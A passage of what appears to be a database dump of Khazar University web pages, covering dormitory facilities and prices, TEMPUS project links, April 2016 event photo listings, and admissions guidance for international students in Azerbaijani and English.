style=\"text-align:justify\">Xəzər Universitetinin yeni tələbə yataqxanası həm yerli, həm də əcnəbi tələbələr üçün&nbsp;mebelli rahat yaşayış şəraiti təklif edir.</p><h3>  <br></h3><h3>Yer:</h3><p>Xəzər Universitetinin \"Neftçilər\" kampusuna (3 dəq piyada məsafə) və \"Neftçilər\"&nbsp;metro stansiyasına (10 dəq piyada məsafə) yaxın ərazidə yerləşən yataqxana&nbsp;bir sıra xidmətlər təklif edir.</p><h3><iframe width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" src=\"https://www.google.com/maps/embed/v1/place?key=AIzaSyD_gltx6VnkiMgmxdooZ0CcqyUejCpzIaw&q=Khazar+University, Dormitory\">\r\n</iframe></h3><h3><br></h3><h3><br></h3><h3>Avadanlıq və xidmətlər:</h3><br><ul><li>Hər otaqda yataq, kiçik siyirtmə, paltar şkafı və stol var</li><li>Ayaqyolu və hamam: ümumidir, otaqlardan bayırda yerləşir</li><li>Mətbəx: mətbəx və saxlama (soyuducu) avadanlıqları ilə təchiz olunmuş ümumi&nbsp;mətbəx/bufet ərazisi</li><li>Paltaryuyan maşın (quruducu ilə), ütü və s. təchiz olunmuş camaşırxana</li><li>Ümumi istirahət otağı: komputerlər, televizor, divan olan bu otaq sizin və qonaqlarınızın&nbsp;rahatlığını təmin edir</li><li>İnternet: bütün yataqxananı əhatə edən WI-FI</li><li>Saxlama otağı</li><li>Sakit ərazidə yerləşən dərs otağı</li></ul><br><br>  <h3>Yataqxanada təhlükəsizlik:  <br></h3><p>Yataqxana tələbə və qonaqların təhlükəsizliyini təmin etmək məqsədilə təhlükəsizlik kameraları ilə təchiz&nbsp;olunmuşdur.&nbsp;</p><p>Bina 24/7 video nəzarətdədir və təhlükəsizlik işçiləri var.</p><h3><br></h3><h3>Qiymətlər:</h3><p>Bir nəfər üçün aylıq ödəniş:</p><p>əcnəbi tələbələr <strong>90-140 ABŞ dolları</strong>, yerli tələbələr <strong>120-170 AZN</strong>  <br></p><p><strong><br></strong></p><p><strong>Gülərüz və yardımsevər yataqxana personalı sizin xidmətinizdədir. </strong> <br></p><p><br></p><h3>Əlaqə:</h3><p><em><strong>Ofis</strong></em>:&nbsp; &nbsp; (+994&nbsp;12) 422 28 17&nbsp;</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(+994&nbsp;12) 422 28 06  </p><p><strong><em>Mobil</em></strong>:&nbsp; (+994&nbsp;55) 223 47 37 </p><p><strong style=\"font-style:italic\">E-mail: </strong><a href=\"http://mailto:dormitory@khazar.org\">dormitory@khazar.org</a></p>'),(753,528,'en','TEMPUS','TEMPUS','<br><div><p><strong>TEMPUS&nbsp;<strong>(Trans-European Mobility Programme for University Studies)&nbsp;</strong>Projects</strong><strong>&nbsp;</strong></p><p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development Services</a></p><p><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p></div>'),(2954,1752,'en','April','April','<p>27.04.2016 Help Desk&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207873202556416\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016 P2P - Ekstremizmə qarşı Mübarizə Proqramı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207840459226357\" target=\"_blank\">FOTO</a>)</p><p>28.04.2016 Potensial Direktorlar Buraxiliş&nbsp;III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207813465895723\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016&nbsp;Turkiyenin maqistranti Sumeyra Turkle tarix departamenti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207810742562662\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206606482683088\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206586822685054\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Günəş elektromobili layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206498996027170\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Həsən müəllimin iranlı qonaqlarla görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206483899362013\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 P2P - Ekstermizmə qarşı mübarizə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206474259362977\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 T. Qurbanın Bagirovun adına kitabın təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205986949411708\" target=\"_blank\">FOTO</a>)</p><p>23.04.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205231179487285\" target=\"_blank\">FOTO</a>)</p><p>24.04.2016 Beynəlxalq psixologiya konfransı III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204591599551243\" target=\"_blank\">FOTO</a>)<br></p><p>23.04.2016 Beynəlxalq Psixologiya Konfransi III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204588359551567\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 İran-İrak-Polşa tələbələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203884536288616\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 Shakespeare in the world&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203321523011584\" target=\"_blank\">FOTO</a>)<br></p><p>21.04.2016 Tempus (ESFIDIP) çərçivəsində təlim-seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202615429748860\" target=\"_blank\">FOTO</a>)<br></p><p>20.04.2016 Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202129889797414\" target=\"_blank\">FOTO</a>)</p><p>18.04.2016 Elm və sənət 66&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201392056537864\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Beynəlxalq Prespektivlər üzrə Çoxdilli Təhsil&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201371573206579\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200753473268389\" target=\"_blank\">FOTO</a>)</p><p>16.04.2016 Xəzərlilər Hövsanda&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200750796601990\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199068390103564\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 Mənim biznes planım&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199067590103644\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 Azərcell təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198425676834502\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 PACT&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198380060172397\" target=\"_blank\">FOTO</a>)<br></p><p>13.04.2016 Potensial direktorlar - 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197812943562442\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Xəzər Universiteti 1-ci Debat formu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197686833575053\" target=\"_blank\">FOTO</a>)<br></p><p>11.04.2016 Prorektor&nbsp;Məhəmməd Nuriyevin&nbsp;ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197072003636536\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195170150493388\" target=\"_blank\">FOTO</a>)<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1196375093706227\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Beynəlxalq Münasibətlər Departamentinin tələbələrinin mükafatlandırılması&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195036750506728\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Hassan Niknafsin İngiltərə səfiri ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194385410571862\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 İnamla danış! Uğurlu çıxışın üç sirri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194358963907840\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Ingiltərənin səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194340980576305\" target=\"_blank\">FOTO</a>)<br></p><p>07.04.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193790073964729\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Dünya məktəbində Xəzər universitetinin təqdimati&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193734220636981\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Şahin və Eldar müəllimin Yubileyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193081934035543\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Nizami.&nbsp;Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193043440706059\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Hamlet Isaxanlının IGEC direktoru ilə&nbsp;görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193016077375462\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Nizami. Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192307560779647\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192306530779750\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Roald Saqdeyevin Hamlet İsaxanlı ile görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1189529744390762\" target=\"_blank\">FOTO</a>)</p>'),(755,529,'az','Əcnəbi tələbələrin qəbulu','Əcnəbi tələbələrin qəbulu','<div><p><strong>Xəzər Universitetinə və Beynəlxalq Əlaqələr Ofisinə Xoş Gəlmişsiniz!</strong></p><p><strong><a href=\"http://www.khazar.org/files/xezer.jpg\"><img src=\"/files/students/kohne%20bina.jpg\" style=\"width:150px;height:105px;float:left;margin:7px\"></a></strong><strong>&nbsp; &nbsp;<a href=\"http://www.khazar.org/files/alov.jpg\"><img src=\"http://www.khazar.org/files/alov.jpg\" style=\"border:0px #000000;width:150px;height:105px;margin:7px;float:left\"></a>&nbsp; &nbsp; &nbsp;<a href=\"http://www.khazar.org/files/qala.JPG\"><img src=\"http://www.khazar.org/files/qala.JPG\" style=\"border:0px #000000;width:150px;height:105px;margin:7px;float:left\"></a></strong><strong></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p>Əcnəbi tələbələrin ilk olaraq müraciət edəcəyiniz ünvan Beynəlxalq Əlaqələr Ofisi<a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\" style=\"font-weight:bold\"></a><a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\"></a>dir. Beynəlxalq Əlaqələr Ofisi&nbsp;Xəzər Universitəsində qeydiyyatda olan və yeni başlayan bütün əcnəbi tələbələrə xidmət edir.</p><p><strong>Xidmətlərimiz haqqında əlavə məlumat üçün:</strong>&nbsp;<strong><a href=\"http://www.khazar.org/az/menus/488/_haqqimizda\">Beynəlxalq Əlaqələr Ofisi</a></strong></p><p>Xəzər Universitəsi Azərbaycan Respublikasının inkişafına və təhsil siyasətinə bakalavr, magistr və professional tədqiqat sahəsində töhvə verən özəl təhsil müəssisəsidir.</p><p>Xəzər Universitəsi Azərbaycanda ilk universitetdir ki ,&nbsp; özündə eyni akademik siyasəti və prinsipləri ehtiva edən geniş miqyasa sahib Humanitar və Sosial Elmlər, Mühəndislik və Tətbiqi Elmlər, İqtisadiyyat və İdarəetmə və Təhsil fakültələrini birləşdirir.</p><p><strong><a href=\"http://www.khazar.org/files/pdf/Khazar_University_Brochure.pdf\" target=\"_blank\">Khazar University Brochure</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/15/catalogue\">Khazar University&nbsp;&nbsp;Catalogue</a></strong></p><p><strong>Ərizə Formalarını yüklə:</strong>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/programs/Bachelor_Application_for_Admission%202017.docx\"><strong></strong></a></p><p><strong><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\">Bachelor Application for Admission&nbsp;2018</a></strong></p><p><strong></strong><strong><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Master&nbsp;Application for Admission&nbsp;2018</a></strong></p><p><a href=\"http://www.khazar.org/files/pdf/cources/PhD_Application_for_Admission%202017.docx\"><strong></strong></a><strong><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">PhD Application for Admission&nbsp;2018</a></strong></p><p><br></p><p><strong>Gələnədək və gələndən sonra bilməli olduğunuz mühüm məlumatlar</strong></p><p><strong>Gələnədək:</strong></p><p><strong>Təhsil Haqqı:</strong></p><p>İllik təhsil haqqı 5000 USD&nbsp;-dır.</p><p><strong>Yaşayış xərcləri:</strong></p><p>Bakıda yaşayış xərcləri aylıq AZN 550-dən AZN 800-ə qədər dəyişir. Bunlara daxildir: ev kirayəsi (AZN 250 /otaq yoldaşı ilə - AZN 500/tək), ərzaq (AZN 150), kommunal xərclər (AZN 50), digər xərclər (AZN 100, nəqliyyat, sosial fəaliyyət, və s.)</p><p><strong>Viza:</strong></p><p>Azərbaycana səyahət etmək üçün siz ölkənizdəki Azərbaycan Səfirliyi və ya Konsulluğuna müraciət etməlisiniz.</p><p>Xəzər Universitəsi təhsil almaq hüququ qazanmış müraciətçilərə Dəvət Məktubu yollayır. Onlar bu məktublarla birgə Azərbaycan Səfirliyi və ya Konsulluğuna müraciət etməlidirlər.</p><p>Bütün tələbələr Azərbaycana gəlmək üçün vizaya 3 ay əvvəlcədən müraciət etməlidirlər.</p><p>Vizaya lazımi sənədlərin tam siyahısını əldə etmək üçün müvafiq ölkədəki Azərbaycan Səfirliyinə müraciət etmək lazımdır.</p><p><strong>Xəzər Universitəsi Beynəlxalq Təqaüd Proqramı</strong></p><p>Xəzər Universiteti əcnəbi tələbələr üçün təqaüd proqramı təşkil edir. <a href=\"http://www.khazar.org/az/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\">Əlavə məlumat üçün</a></p><p><strong>Gəldikdən sonra:</strong></p><p><strong>Müvəqqəti yaşayış icazəsi (Miqrasiya Kartı)</strong></p><p>Əcnəbi tələbələr Azərbaycana gəlməzdən əvvəl üç aylıq tələbə vizasına baş vurmalıdırlar. Vizanın bitməsinə bir ay qalmış siz Azərbaycan ərazisində heç bir maneə olmadan 1 il yaşaya bilmək üçün müvəqqəti yaşayış icazəsi üçün müraciət etməlidirlər. Beynəlxalq Əlaqələr Ofisi sizə miqrasiya kartının alınmasında kömək edəcək.</p><p>Miqrasiya kartı üçün lazım olan sənədlərin siyahısını bu linkdən əldə edə bilərsiniz:</p><p><strong>IB qəbul siyasəti il</strong><strong>ə&nbsp;</strong><strong>bağlı qeyd</strong></p><p>IB diplomlarına sahib tələbələr Xəzər Universitəsinə müraciət edə bilərlər. Sonuncu ilini tamamlamaq üzrə olan 28 və ondan yuxarı bal toplayan IB tələbələri Xəzər Universitetində oxuduğu&nbsp;<strong>1 semester ərzində</strong>&nbsp;təhsil haqqından azad olunacaq. 36-40 bal toplayan namizədlər&nbsp;<strong>bir il (II semestr) ərzində</strong>&nbsp;təhsil haqqından azad olunur. 41 bal və ondan yuxarı bal toplayan tələbələr isə bakalavr təhsili müddətində&nbsp;<strong>təhsil haqqından tam azad</strong>&nbsp;olunacaq.&nbsp;</p><p><strong>Əlavə Məlumat</strong></p><p>Qəbulla bağlı əlavə sualınız yarandığı təqdirdə Beynəlxalq Əlaqələr Ofisilə əlaqə saxlaya bilərsiniz. Sizə kömək etməkdən sevinc duyarıq.</p><p><strong>Sizi Azərbaycanda və Xəzər Universitəsində gözləyirik!</strong></p></div>'),(2953,1752,'az','Aprel','Aprel','<p>27.04.2016 Help Desk&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207873202556416\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016 P2P - Ekstremizmə qarşı Mübarizə Proqramı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207840459226357\" target=\"_blank\">FOTO</a>)</p><p>28.04.2016 Potensial Direktorlar Buraxiliş&nbsp;III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207813465895723\" target=\"_blank\">FOTO</a>)</p><p>29.04.2016&nbsp;Turkiyenin maqistranti Sumeyra Turkle tarix departamenti&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1207810742562662\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206606482683088\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206586822685054\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Günəş elektromobili layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206498996027170\" target=\"_blank\">FOTO</a>)</p><p>27.04.2016 Həsən müəllimin iranlı qonaqlarla görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206483899362013\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 P2P - Ekstermizmə qarşı mübarizə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1206474259362977\" target=\"_blank\">FOTO</a>)</p><p>26.04.2016 T. Qurbanın Bagirovun adına kitabın təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205986949411708\" target=\"_blank\">FOTO</a>)</p><p>23.04.2016 Potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1205231179487285\" target=\"_blank\">FOTO</a>)</p><p>24.04.2016 Beynəlxalq psixologiya konfransı III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204591599551243\" target=\"_blank\">FOTO</a>)<br></p><p>23.04.2016 Beynəlxalq Psixologiya Konfransi III&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1204588359551567\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 İran-İrak-Polşa tələbələri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203884536288616\" target=\"_blank\">FOTO</a>)<br></p><p>22.04.2016 Shakespeare in the world&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1203321523011584\" target=\"_blank\">FOTO</a>)<br></p><p>21.04.2016 Tempus (ESFIDIP) çərçivəsində təlim-seminar&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202615429748860\" target=\"_blank\">FOTO</a>)<br></p><p>20.04.2016 Potensial Direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1202129889797414\" target=\"_blank\">FOTO</a>)</p><p>18.04.2016 Elm və sənət 66&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201392056537864\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Beynəlxalq Prespektivlər üzrə Çoxdilli Təhsil&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1201371573206579\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200753473268389\" target=\"_blank\">FOTO</a>)</p><p>16.04.2016 Xəzərlilər Hövsanda&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1200750796601990\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 potensial direktorlar 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199068390103564\" target=\"_blank\">FOTO</a>)<br></p><p>15.04.2016 Mənim biznes planım&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1199067590103644\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 Azərcell təqdimatı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198425676834502\" target=\"_blank\">FOTO</a>)<br></p><p>14.04.2016 PACT&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1198380060172397\" target=\"_blank\">FOTO</a>)<br></p><p>13.04.2016 Potensial direktorlar - 4&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197812943562442\" target=\"_blank\">FOTO</a>)<br></p><p>18.04.2016 Xəzər Universiteti 1-ci Debat formu&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197686833575053\" target=\"_blank\">FOTO</a>)<br></p><p>11.04.2016 Prorektor&nbsp;Məhəmməd Nuriyevin&nbsp;ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1197072003636536\" target=\"_blank\">FOTO</a>)&nbsp;<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195170150493388\" target=\"_blank\">FOTO</a>)<br></p><p>09.04.2016 Tempus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1196375093706227\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Beynəlxalq Münasibətlər Departamentinin tələbələrinin mükafatlandırılması&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1195036750506728\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Hassan Niknafsin İngiltərə səfiri ilə görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194385410571862\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 İnamla danış! Uğurlu çıxışın üç sirri&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194358963907840\" target=\"_blank\">FOTO</a>)<br></p><p>08.04.2016 Ingiltərənin səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1194340980576305\" target=\"_blank\">FOTO</a>)<br></p><p>07.04.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193790073964729\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Dünya məktəbində Xəzər universitetinin təqdimati&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193734220636981\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Şahin və Eldar müəllimin Yubileyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193081934035543\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Nizami.&nbsp;Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193043440706059\" target=\"_blank\">FOTO</a>)<br></p><p>06.04.2016 Hamlet Isaxanlının IGEC direktoru ilə&nbsp;görüşü (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1193016077375462\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Nizami. Erasmus&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192307560779647\" target=\"_blank\">FOTO</a>)<br></p><p>05.04.2016 Azərbaycan multikulturalizminin ədəbi-bədii qaynaqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1192306530779750\" target=\"_blank\">FOTO</a>)<br></p><p>01.04.2016 Roald Saqdeyevin Hamlet İsaxanlı ile görüşü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1189529744390762\" target=\"_blank\">FOTO</a>)</p>'),(756,530,'az','Necə müraciət etməli<sup style=\"color:red\">yeni</sup> ','Necə müraciət etməli<sup style=\"color:red\">yeni</sup> ','<p><strong>Bu səhifə qəbul tələbləri, seçim prosesi, seçim cədvəli, təqaüd imkanı və digər vacib məlumatları vermək üçün nəzərdə tutulub.</strong></p><p><strong>Sizə uyğun olan proqramı seçin</strong></p><p>Xəzər Universiteti beynəlxalq tələbələrə bakalavr, magistratura və doktorantura səviyyələrində təhsil proqramları təklif edir. 2018-2019-cu tədris ili üçün təklif olunan proqramların siyahısını görmək və proqramınızı seçmək üçün uyğun Ərizə formasını yükləyin və ya&nbsp;<strong><a href=\"http://www.khazar.org/files/letters/International_Programs_2018_2019_AZE.pdf\">Beynəlxalq Proqramlar</a></strong>&nbsp;linkinə klik edin.</p><p><strong>Təqaüd İmkanları</strong></p><p><strong>Xəzər Universiteti Beynəlxalq Təqaüd Proqramı&nbsp;</strong>heç bir məhdudiyyət olmadan bütün ölkələrin vətəndaşlarına açıqdır və bakalavr, magistratura və doktorantura səviyyələrini əhatə edir. Təqaüd haqqında ətraflı məlumat almaq üçün&nbsp;<strong><a href=\"http://www.khazar.org/az/menus/497/_xezer_universiteti_beynelxalq_teqaud_proqrami_sup_style_color_red_yeni_sup_\">bura</a></strong>&nbsp;klik edin.</p><p><br></p><p><strong>Ərizə Formalarını yükləyin</strong><strong>:</strong></p><p><strong>Ümumi qəbul və KUISP üçün ərizə formaları</strong></p><p><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\">Bachelor&nbsp;Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Master Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">PhD Application for Admission&nbsp;2018</a></p><p><a href=\"http://www.khazar.org/files/letters/KUISP_Application_Form_2018_2019.docx\"></a><a href=\"http://www.khazar.org/files/letters/KUISP_Application_Form_2018_2019.docx\"></a><a href=\"http://www.khazar.org/files/letters/Scholarship_Application_Form_2018_2019.docx\">Scholarship&nbsp;Application Form 2018-2019</a>  <a 